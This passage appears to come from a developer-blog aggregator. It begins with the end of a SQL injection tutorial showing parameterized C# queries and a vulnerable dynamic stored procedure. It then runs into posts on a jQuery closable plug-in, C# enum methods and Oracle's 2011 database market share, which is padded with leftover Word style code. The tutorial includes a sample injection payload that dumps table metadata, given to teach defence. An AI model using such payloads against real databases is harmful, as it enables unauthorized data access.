If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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• A Closable jQuery Plug-in

  - by Rick Strahl

  In my client side development I deal a lot with content that pops over the main page. Be it data entry ‘windows’ or dialogs or simple pop up notes. In most cases this behavior goes with draggable windows, but sometimes it’s also useful to have closable behavior on static page content that the user can choose to hide or otherwise make invisible or fade out. Here’s a small jQuery plug-in that provides .closable() behavior to most elements by using either an image that is provided or – more appropriately by using a CSS class to define the picture box layout. /* * * Closable * * Makes selected DOM elements closable by making them * invisible when close icon is clicked * * Version 1.01 * @requires jQuery v1.3 or later * * Copyright (c) 2007-2010 Rick Strahl * http://www.west-wind.com/ * * Licensed under the MIT license: * http://www.opensource.org/licenses/mit-license.php Support CSS: .closebox { position: absolute; right: 4px; top: 4px; background-image: url(images/close.gif); background-repeat: no-repeat; width: 14px; height: 14px; cursor: pointer; opacity: 0.60; filter: alpha(opacity="80"); } .closebox:hover { opacity: 0.95; filter: alpha(opacity="100"); } Options: * handle Element to place closebox into (like say a header). Use if main element and closebox container are two different elements. * closeHandler Function called when the close box is clicked. Return true to close the box return false to keep it visible. * cssClass The CSS class to apply to the close box DIV or IMG tag. * imageUrl Allows you to specify an explicit IMG url that displays the close icon. If used bypasses CSS image styling. * fadeOut Optional provide fadeOut speed. Default no fade out occurs */ (function ($) { $.fn.closable = function (options) { var opt = { handle: null, closeHandler: null, cssClass: "closebox", imageUrl: null, fadeOut: null }; $.extend(opt, options); return this.each(function (i) { var el = $(this); var pos = el.css("position"); if (!pos || pos == "static") el.css("position", "relative"); var h = opt.handle ? $(opt.handle).css({ position: "relative" }) : el; var div = opt.imageUrl ? $("<img>").attr("src", opt.imageUrl).css("cursor", "pointer") : $("<div>"); div.addClass(opt.cssClass) .click(function (e) { if (opt.closeHandler) if (!opt.closeHandler.call(this, e)) return; if (opt.fadeOut) $(el).fadeOut(opt.fadeOut); else $(el).hide(); }); if (opt.imageUrl) div.css("background-image", "none"); h.append(div); }); } })(jQuery); The plugin can be applied against any selector that is a container (typically a div tag). The close image or close box is provided typically by way of a CssClass - .closebox by default – which supplies the image as part of the CSS styling. The default styling for the box looks something like this: .closebox { position: absolute; right: 4px; top: 4px; background-image: url(images/close.gif); background-repeat: no-repeat; width: 14px; height: 14px; cursor: pointer; opacity: 0.60; filter: alpha(opacity="80"); } .closebox:hover { opacity: 0.95; filter: alpha(opacity="100"); } Alternately you can also supply an image URL which overrides the background image in the style sheet. I use this plug-in mostly on pop up windows that can be closed, but it’s also quite handy for remove/delete behavior in list displays like this: you can find this sample here to look to play along: http://www.west-wind.com/WestwindWebToolkit/Samples/Ajax/AmazonBooks/BooksAdmin.aspx For closable windows it’s nice to have something reusable because in my client framework there are lots of different kinds of windows that can be created: Draggables, Modal Dialogs, HoverPanels etc. and they all use the client .closable plug-in to provide the closable operation in the same way with a few options. Plug-ins are great for this sort of thing because they can also be aggregated and so different components can pick and choose the behavior they want. The window here is a draggable, that’s closable and has shadow behavior and the server control can simply generate the appropriate plug-ins to apply to the main <div> tag: $().ready(function() { $('#ctl00_MainContent_panEditBook') .closable({ handle: $('#divEditBook_Header') }) .draggable({ dragDelay: 100, handle: '#divEditBook_Header' }) .shadow({ opacity: 0.25, offset: 6 }); }) The window is using the default .closebox style and has its handle set to the header bar (Book Information). The window is just closable to go away so no event handler is applied. Actually I cheated – the actual page’s .closable is a bit more ugly in the sample as it uses an image from a resources file: .closable({ imageUrl: '/WestWindWebToolkit/Samples/WebResource.axd?d=TooLongAndNastyToPrint', handle: $('#divEditBook_Header')}) so you can see how to apply a custom image, which in this case is generated by the server control wrapping the client DragPanel. More interesting maybe is to apply the .closable behavior to list scenarios. For example, each of the individual items in the list display also are .closable using this plug-in. Rather than having to define each item with Html for an image, event handler and link, when the client template is rendered the closable behavior is attached to the list. Here I’m using client-templating and the code that this is done with looks like this: function loadBooks() { showProgress(); // Clear the content $("#divBookListWrapper").empty(); var filter = $("#" + scriptVars.lstFiltersId).val(); Proxy.GetBooks(filter, function(books) { $(books).each(function(i) { updateBook(this); showProgress(true); }); }, onPageError); } function updateBook(book,highlight) { // try to retrieve the single item in the list by tag attribute id var item = $(".bookitem[tag=" +book.Pk +"]"); // grab and evaluate the template var html = parseTemplate(template, book); var newItem = $(html) .attr("tag", book.Pk.toString()) .click(function() { var pk = $(this).attr("tag"); editBook(this, parseInt(pk)); }) .closable({ closeHandler: function(e) { removeBook(this, e); }, imageUrl: "../../images/remove.gif" }); if (item.length > 0) item.after(newItem).remove(); else newItem.appendTo($("#divBookListWrapper")); if (highlight) { newItem .addClass("pulse") .effect("bounce", { distance: 15, times: 3 }, 400); setTimeout(function() { newItem.removeClass("pulse"); }, 1200); } } Here the closable behavior is applied to each of the items along with an event handler, which is nice and easy compared to having to embed the right HTML and click handling into each item in the list individually via markup. Ideally though (and these posts make me realize this often a little late) I probably should set up a custom cssClass to handle the rendering – maybe a CSS class called .removebox that only changes the image from the default box image. This example also hooks up an event handler that is fired in response to the close. In the list I need to know when the remove button is clicked so I can fire of a service call to the server to actually remove the item from the database. The handler code can also return false; to indicate that the window should not be closed optionally. Returning true will close the window. You can find more information about the .closable class behavior and options here: .closable Documentation Plug-ins make Server Control JavaScript much easier I find this plug-in immensely useful especial as part of server control code, because it simplifies the code that has to be generated server side tremendously. This is true of plug-ins in general which make it so much easier to create simple server code that only generates plug-in options, rather than full blocks of JavaScript code.  For example, here’s the relevant code from the DragPanel server control which generates the .closable() behavior: if (this.Closable && !string.IsNullOrEmpty(DragHandleID) ) { string imageUrl = this.CloseBoxImage; if (imageUrl == "WebResource" ) imageUrl = ScriptProxy.GetWebResourceUrl(this, this.GetType(), ControlResources.CLOSE_ICON_RESOURCE); StringBuilder closableOptions = new StringBuilder("imageUrl: '" + imageUrl + "'"); if (!string.IsNullOrEmpty(this.DragHandleID)) closableOptions.Append(",handle: $('#" + this.DragHandleID + "')"); if (!string.IsNullOrEmpty(this.ClientDialogHandler)) closableOptions.Append(",handler: " + this.ClientDialogHandler); if (this.FadeOnClose) closableOptions.Append(",fadeOut: 'slow'"); startupScript.Append(@" .closable({ " + closableOptions + "})"); } The same sort of block is then used for .draggable and .shadow which simply sets options. Compared to the code I used to have in pre-jQuery versions of my JavaScript toolkit this is a walk in the park. In those days there was a bunch of JS generation which was ugly to say the least. I know a lot of folks frown on using server controls, especially the UI is client centric as the example is. However, I do feel that server controls can greatly simplify the process of getting the right behavior attached more easily and with the help of IntelliSense. Often the script markup is easier is especially if you are dealing with complex, multiple plug-in associations that often express more easily with property values on a control. Regardless of whether server controls are your thing or not this plug-in can be useful in many scenarios. Even in simple client-only scenarios using a plug-in with a few simple parameters is nicer and more consistent than creating the HTML markup over and over again. I hope some of you find this even a small bit as useful as I have. Related Links Download jquery.closable West Wind Web Toolkit jQuery Plug-ins © Rick Strahl, West Wind Technologies, 2005-2010Posted in jQuery   ASP.NET  JavaScript  

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• C#/.NET Little Wonders: Fun With Enum Methods

  - by James Michael Hare

  Once again lets dive into the Little Wonders of .NET, those small things in the .NET languages and BCL classes that make development easier by increasing readability, maintainability, and/or performance. So probably every one of us has used an enumerated type at one time or another in a C# program.  The enumerated types we create are a great way to represent that a value can be one of a set of discrete values (or a combination of those values in the case of bit flags). But the power of enum types go far beyond simple assignment and comparison, there are many methods in the Enum class (that all enum types “inherit” from) that can give you even more power when dealing with them. IsDefined() – check if a given value exists in the enum Are you reading a value for an enum from a data source, but are unsure if it is actually a valid value or not?  Casting won’t tell you this, and Parse() isn’t guaranteed to balk either if you give it an int or a combination of flags.  So what can we do? Let’s assume we have a small enum like this for result codes we want to return back from our business logic layer: 1: public enum ResultCode 2: { 3: Success, 4: Warning, 5: Error 6: } In this enum, Success will be zero (unless given another value explicitly), Warning will be one, and Error will be two. So what happens if we have code like this where perhaps we’re getting the result code from another data source (could be database, could be web service, etc)? 1: public ResultCode PerformAction() 2: { 3: // set up and call some method that returns an int. 4: int result = ResultCodeFromDataSource(); 5:  6: // this will suceed even if result is < 0 or > 2. 7: return (ResultCode) result; 8: } So what happens if result is –1 or 4?  Well, the cast does not fail, so what we end up with would be an instance of a ResultCode that would have a value that’s outside of the bounds of the enum constants we defined. This means if you had a block of code like: 1: switch (result) 2: { 3: case ResultType.Success: 4: // do success stuff 5: break; 6:  7: case ResultType.Warning: 8: // do warning stuff 9: break; 10:  11: case ResultType.Error: 12: // do error stuff 13: break; 14: } That you would hit none of these blocks (which is a good argument for always having a default in a switch by the way). So what can you do?  Well, there is a handy static method called IsDefined() on the Enum class which will tell you if an enum value is defined.  1: public ResultCode PerformAction() 2: { 3: int result = ResultCodeFromDataSource(); 4:  5: if (!Enum.IsDefined(typeof(ResultCode), result)) 6: { 7: throw new InvalidOperationException("Enum out of range."); 8: } 9:  10: return (ResultCode) result; 11: } In fact, this is often recommended after you Parse() or cast a value to an enum as there are ways for values to get past these methods that may not be defined. If you don’t like the syntax of passing in the type of the enum, you could clean it up a bit by creating an extension method instead that would allow you to call IsDefined() off any isntance of the enum: 1: public static class EnumExtensions 2: { 3: // helper method that tells you if an enum value is defined for it's enumeration 4: public static bool IsDefined(this Enum value) 5: { 6: return Enum.IsDefined(value.GetType(), value); 7: } 8: }   HasFlag() – an easier way to see if a bit (or bits) are set Most of us who came from the land of C programming have had to deal extensively with bit flags many times in our lives.  As such, using bit flags may be almost second nature (for a quick refresher on bit flags in enum types see one of my old posts here). However, in higher-level languages like C#, the need to manipulate individual bit flags is somewhat diminished, and the code to check for bit flag enum values may be obvious to an advanced developer but cryptic to a novice developer. For example, let’s say you have an enum for a messaging platform that contains bit flags: 1: // usually, we pluralize flags enum type names 2: [Flags] 3: public enum MessagingOptions 4: { 5: None = 0, 6: Buffered = 0x01, 7: Persistent = 0x02, 8: Durable = 0x04, 9: Broadcast = 0x08 10: } We can combine these bit flags using the bitwise OR operator (the ‘|’ pipe character): 1: // combine bit flags using 2: var myMessenger = new Messenger(MessagingOptions.Buffered | MessagingOptions.Broadcast); Now, if we wanted to check the flags, we’d have to test then using the bit-wise AND operator (the ‘&’ character): 1: if ((options & MessagingOptions.Buffered) == MessagingOptions.Buffered) 2: { 3: // do code to set up buffering... 4: // ... 5: } While the ‘|’ for combining flags is easy enough to read for advanced developers, the ‘&’ test tends to be easy for novice developers to get wrong.  First of all you have to AND the flag combination with the value, and then typically you should test against the flag combination itself (and not just for a non-zero)!  This is because the flag combination you are testing with may combine multiple bits, in which case if only one bit is set, the result will be non-zero but not necessarily all desired bits! Thanks goodness in .NET 4.0 they gave us the HasFlag() method.  This method can be called from an enum instance to test to see if a flag is set, and best of all you can avoid writing the bit wise logic yourself.  Not to mention it will be more readable to a novice developer as well: 1: if (options.HasFlag(MessagingOptions.Buffered)) 2: { 3: // do code to set up buffering... 4: // ... 5: } It is much more concise and unambiguous, thus increasing your maintainability and readability. It would be nice to have a corresponding SetFlag() method, but unfortunately generic types don’t allow you to specialize on Enum, which makes it a bit more difficult.  It can be done but you have to do some conversions to numeric and then back to the enum which makes it less of a payoff than having the HasFlag() method.  But if you want to create it for symmetry, it would look something like this: 1: public static T SetFlag<T>(this Enum value, T flags) 2: { 3: if (!value.GetType().IsEquivalentTo(typeof(T))) 4: { 5: throw new ArgumentException("Enum value and flags types don't match."); 6: } 7:  8: // yes this is ugly, but unfortunately we need to use an intermediate boxing cast 9: return (T)Enum.ToObject(typeof (T), Convert.ToUInt64(value) | Convert.ToUInt64(flags)); 10: } Note that since the enum types are value types, we need to assign the result to something (much like string.Trim()).  Also, you could chain several SetFlag() operations together or create one that takes a variable arg list if desired. Parse() and ToString() – transitioning from string to enum and back Sometimes, you may want to be able to parse an enum from a string or convert it to a string - Enum has methods built in to let you do this.  Now, many may already know this, but may not appreciate how much power are in these two methods. For example, if you want to parse a string as an enum, it’s easy and works just like you’d expect from the numeric types: 1: string optionsString = "Persistent"; 2:  3: // can use Enum.Parse, which throws if finds something it doesn't like... 4: var result = (MessagingOptions)Enum.Parse(typeof (MessagingOptions), optionsString); 5:  6: if (result == MessagingOptions.Persistent) 7: { 8: Console.WriteLine("It worked!"); 9: } Note that Enum.Parse() will throw if it finds a value it doesn’t like.  But the values it likes are fairly flexible!  You can pass in a single value, or a comma separated list of values for flags and it will parse them all and set all bits: 1: // for string values, can have one, or comma separated. 2: string optionsString = "Persistent, Buffered"; 3:  4: var result = (MessagingOptions)Enum.Parse(typeof (MessagingOptions), optionsString); 5:  6: if (result.HasFlag(MessagingOptions.Persistent) && result.HasFlag(MessagingOptions.Buffered)) 7: { 8: Console.WriteLine("It worked!"); 9: } Or you can parse in a string containing a number that represents a single value or combination of values to set: 1: // 3 is the combination of Buffered (0x01) and Persistent (0x02) 2: var optionsString = "3"; 3:  4: var result = (MessagingOptions) Enum.Parse(typeof (MessagingOptions), optionsString); 5:  6: if (result.HasFlag(MessagingOptions.Persistent) && result.HasFlag(MessagingOptions.Buffered)) 7: { 8: Console.WriteLine("It worked again!"); 9: } And, if you really aren’t sure if the parse will work, and don’t want to handle an exception, you can use TryParse() instead: 1: string optionsString = "Persistent, Buffered"; 2: MessagingOptions result; 3:  4: // try parse returns true if successful, and takes an out parm for the result 5: if (Enum.TryParse(optionsString, out result)) 6: { 7: if (result.HasFlag(MessagingOptions.Persistent) && result.HasFlag(MessagingOptions.Buffered)) 8: { 9: Console.WriteLine("It worked!"); 10: } 11: } So we covered parsing a string to an enum, what about reversing that and converting an enum to a string?  The ToString() method is the obvious and most basic choice for most of us, but did you know you can pass a format string for enum types that dictate how they are written as a string?: 1: MessagingOptions value = MessagingOptions.Buffered | MessagingOptions.Persistent; 2:  3: // general format, which is the default, 4: Console.WriteLine("Default : " + value); 5: Console.WriteLine("G (default): " + value.ToString("G")); 6:  7: // Flags format, even if type does not have Flags attribute. 8: Console.WriteLine("F (flags) : " + value.ToString("F")); 9:  10: // integer format, value as number. 11: Console.WriteLine("D (num) : " + value.ToString("D")); 12:  13: // hex format, value as hex 14: Console.WriteLine("X (hex) : " + value.ToString("X")); Which displays: 1: Default : Buffered, Persistent 2: G (default): Buffered, Persistent 3: F (flags) : Buffered, Persistent 4: D (num) : 3 5: X (hex) : 00000003 Now, you may not really see a difference here between G and F because I used a [Flags] enum, the difference is that the “F” option treats the enum as if it were flags even if the [Flags] attribute is not present.  Let’s take a non-flags enum like the ResultCode used earlier: 1: // yes, we can do this even if it is not [Flags] enum. 2: ResultCode value = ResultCode.Warning | ResultCode.Error; And if we run that through the same formats again we get: 1: Default : 3 2: G (default): 3 3: F (flags) : Warning, Error 4: D (num) : 3 5: X (hex) : 00000003 Notice that since we had multiple values combined, but it was not a [Flags] marked enum, the G and default format gave us a number instead of a value name.  This is because the value was not a valid single-value constant of the enum.  However, using the F flags format string, it broke out the value into its component flags even though it wasn’t marked [Flags]. So, if you want to get an enum to display appropriately for whether or not it has the [Flags] attribute, use G which is the default.  If you always want it to attempt to break down the flags, use F.  For numeric output, obviously D or  X are the best choice depending on whether you want decimal or hex. Summary Hopefully, you learned a couple of new tricks with using the Enum class today!  I’ll add more little wonders as I think of them and thanks for all the invaluable input!   Technorati Tags: C#,.NET,Little Wonders,Enum,BlackRabbitCoder

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• Oracle bleibt auch 2011 Spitzenreiter im Bereich Datenbanken

  - by Anne Manke

  Mit der Veröffentlichung der aktuellen Ausgabe "Market Share: All Software Markets, Worldwide 2011" bestätigt das weltweit führende Marktanalyseunternehmen Gartner Oracle's Marktführerschaft im Bereich der Relationellen Datenbank Management Systeme (RDBMS). Oracle konnte innerhalb des letzten Jahres seinen Abstand zu seinen Marktbegleitern im Bereich der RDBMS mit einem stabilen Wachstum von 18% sogar ausbauen: der Marktanteil stieg im Jahr 2010 von 48,2% auf 48,8% im Jahr 2011. Damit ist der Abstand zu Oracle's stärkstem Verfolger IBM auf 28,6%.   Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin-top:0cm; mso-para-margin-right:0cm; mso-para-margin-bottom:12.0pt; mso-para-margin-left:0cm; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} table.MsoTableLightListAccent2 {mso-style-name:"Light List - Accent 2"; mso-tstyle-rowband-size:1; mso-tstyle-colband-size:1; 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mso-style-priority:61; mso-style-unhide:no; mso-tstyle-border-top:2.25pt double #C0504D; mso-tstyle-border-top-themecolor:accent2; mso-tstyle-border-left:1.0pt solid #C0504D; mso-tstyle-border-left-themecolor:accent2; mso-tstyle-border-bottom:1.0pt solid #C0504D; mso-tstyle-border-bottom-themecolor:accent2; mso-tstyle-border-right:1.0pt solid #C0504D; mso-tstyle-border-right-themecolor:accent2; mso-para-margin-top:0cm; mso-para-margin-bottom:0cm; mso-para-margin-bottom:.0001pt; line-height:normal; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableLightListAccent2FirstCol {mso-style-name:"Light List - Accent 2"; mso-table-condition:first-column; mso-style-priority:61; mso-style-unhide:no; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableLightListAccent2LastCol {mso-style-name:"Light List - Accent 2"; mso-table-condition:last-column; mso-style-priority:61; mso-style-unhide:no; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableLightListAccent2OddColumn {mso-style-name:"Light List - Accent 2"; mso-table-condition:odd-column; mso-style-priority:61; mso-style-unhide:no; mso-tstyle-border-top:1.0pt solid #C0504D; mso-tstyle-border-top-themecolor:accent2; mso-tstyle-border-left:1.0pt solid #C0504D; mso-tstyle-border-left-themecolor:accent2; mso-tstyle-border-bottom:1.0pt solid #C0504D; mso-tstyle-border-bottom-themecolor:accent2; mso-tstyle-border-right:1.0pt solid #C0504D; mso-tstyle-border-right-themecolor:accent2;} table.MsoTableLightListAccent2OddRow {mso-style-name:"Light List - Accent 2"; mso-table-condition:odd-row; mso-style-priority:61; mso-style-unhide:no; mso-tstyle-border-top:1.0pt solid #C0504D; mso-tstyle-border-top-themecolor:accent2; mso-tstyle-border-left:1.0pt solid #C0504D; mso-tstyle-border-left-themecolor:accent2; mso-tstyle-border-bottom:1.0pt solid #C0504D; mso-tstyle-border-bottom-themecolor:accent2; mso-tstyle-border-right:1.0pt solid #C0504D; mso-tstyle-border-right-themecolor:accent2;} Revenue 2010 ($USM) Revenue 2011 ($USM) Growth 2010 Growth 2011 Share 2010 Share 2011 Oracle 9,990.5 11,787.0 10.9% 18.0% 48.2% 48.8% IBM 4,300.4 4,870.4 5.4% 13.3% 20.7% 20.2% Microsoft 3,641.2 4,098.9 10.1% 12.6% 17.6% 17.0% SAP/Sybase 744.4 1,101.1 12.8% 47.9% 3.6% 4.6% Teradata 754.7 882.3 16.9% 16.9% 3.6% 3.7% Source: Gartner’s “Market Share: All Software Markets, Worldwide 2011,” March 29, 2012, By Colleen Graham, Joanne Correia, David Coyle, Fabrizio Biscotti, Matthew Cheung, Ruggero Contu, Yanna Dharmasthira, Tom Eid, Chad Eschinger, Bianca Granetto, Hai Hong Swinehart, Sharon Mertz, Chris Pang, Asheesh Raina, Dan Sommer, Bhavish Sood, Marianne D'Aquila, Laurie Wurster and Jie Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin-top:0cm; mso-para-margin-right:0cm; mso-para-margin-bottom:12.0pt; mso-para-margin-left:0cm; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} table.MsoTableLightListAccent2 {mso-style-name:"Light List - Accent 2"; mso-tstyle-rowband-size:1; mso-tstyle-colband-size:1; mso-style-priority:61; mso-style-unhide:no; border:solid #C0504D 1.0pt; mso-border-themecolor:accent2; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} table.MsoTableLightListAccent2FirstRow {mso-style-name:"Light List - Accent 2"; mso-table-condition:first-row; mso-style-priority:61; mso-style-unhide:no; mso-tstyle-shading:#C0504D; mso-tstyle-shading-themecolor:accent2; mso-para-margin-top:0cm; mso-para-margin-bottom:0cm; mso-para-margin-bottom:.0001pt; line-height:normal; color:white; mso-themecolor:background1; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableLightListAccent2LastRow {mso-style-name:"Light List - Accent 2"; mso-table-condition:last-row; mso-style-priority:61; mso-style-unhide:no; mso-tstyle-border-top:2.25pt double #C0504D; mso-tstyle-border-top-themecolor:accent2; mso-tstyle-border-left:1.0pt solid #C0504D; mso-tstyle-border-left-themecolor:accent2; mso-tstyle-border-bottom:1.0pt solid #C0504D; mso-tstyle-border-bottom-themecolor:accent2; mso-tstyle-border-right:1.0pt solid #C0504D; mso-tstyle-border-right-themecolor:accent2; mso-para-margin-top:0cm; mso-para-margin-bottom:0cm; mso-para-margin-bottom:.0001pt; line-height:normal; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableLightListAccent2FirstCol {mso-style-name:"Light List - Accent 2"; mso-table-condition:first-column; mso-style-priority:61; mso-style-unhide:no; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableLightListAccent2LastCol {mso-style-name:"Light List - Accent 2"; mso-table-condition:last-column; mso-style-priority:61; mso-style-unhide:no; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableLightListAccent2OddColumn {mso-style-name:"Light List - Accent 2"; mso-table-condition:odd-column; mso-style-priority:61; mso-style-unhide:no; mso-tstyle-border-top:1.0pt solid #C0504D; mso-tstyle-border-top-themecolor:accent2; mso-tstyle-border-left:1.0pt solid #C0504D; mso-tstyle-border-left-themecolor:accent2; mso-tstyle-border-bottom:1.0pt solid #C0504D; mso-tstyle-border-bottom-themecolor:accent2; mso-tstyle-border-right:1.0pt solid #C0504D; mso-tstyle-border-right-themecolor:accent2;} table.MsoTableLightListAccent2OddRow {mso-style-name:"Light List - Accent 2"; mso-table-condition:odd-row; mso-style-priority:61; mso-style-unhide:no; mso-tstyle-border-top:1.0pt solid #C0504D; mso-tstyle-border-top-themecolor:accent2; mso-tstyle-border-left:1.0pt solid #C0504D; mso-tstyle-border-left-themecolor:accent2; mso-tstyle-border-bottom:1.0pt solid #C0504D; mso-tstyle-border-bottom-themecolor:accent2; mso-tstyle-border-right:1.0pt solid #C0504D; mso-tstyle-border-right-themecolor:accent2;} Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin-top:0cm; mso-para-margin-right:0cm; mso-para-margin-bottom:12.0pt; mso-para-margin-left:0cm; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} table.MsoTableLightListAccent2 {mso-style-name:"Light List - Accent 2"; mso-tstyle-rowband-size:1; mso-tstyle-colband-size:1; mso-style-priority:61; mso-style-unhide:no; border:solid #C0504D 1.0pt; mso-border-themecolor:accent2; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} table.MsoTableLightListAccent2FirstRow {mso-style-name:"Light List - Accent 2"; mso-table-condition:first-row; mso-style-priority:61; mso-style-unhide:no; mso-tstyle-shading:#C0504D; mso-tstyle-shading-themecolor:accent2; mso-para-margin-top:0cm; mso-para-margin-bottom:0cm; mso-para-margin-bottom:.0001pt; line-height:normal; color:white; mso-themecolor:background1; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableLightListAccent2LastRow {mso-style-name:"Light List - Accent 2"; mso-table-condition:last-row; mso-style-priority:61; mso-style-unhide:no; mso-tstyle-border-top:2.25pt double #C0504D; mso-tstyle-border-top-themecolor:accent2; mso-tstyle-border-left:1.0pt solid #C0504D; mso-tstyle-border-left-themecolor:accent2; mso-tstyle-border-bottom:1.0pt solid #C0504D; mso-tstyle-border-bottom-themecolor:accent2; mso-tstyle-border-right:1.0pt solid #C0504D; mso-tstyle-border-right-themecolor:accent2; mso-para-margin-top:0cm; mso-para-margin-bottom:0cm; mso-para-margin-bottom:.0001pt; line-height:normal; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableLightListAccent2FirstCol {mso-style-name:"Light List - Accent 2"; mso-table-condition:first-column; mso-style-priority:61; mso-style-unhide:no; mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableLightListAccent2LastCol {mso-style-name:"Light List - Accent 2"; mso-table-condition:last-column; mso-style-priority:61; mso-style-unhide:no; 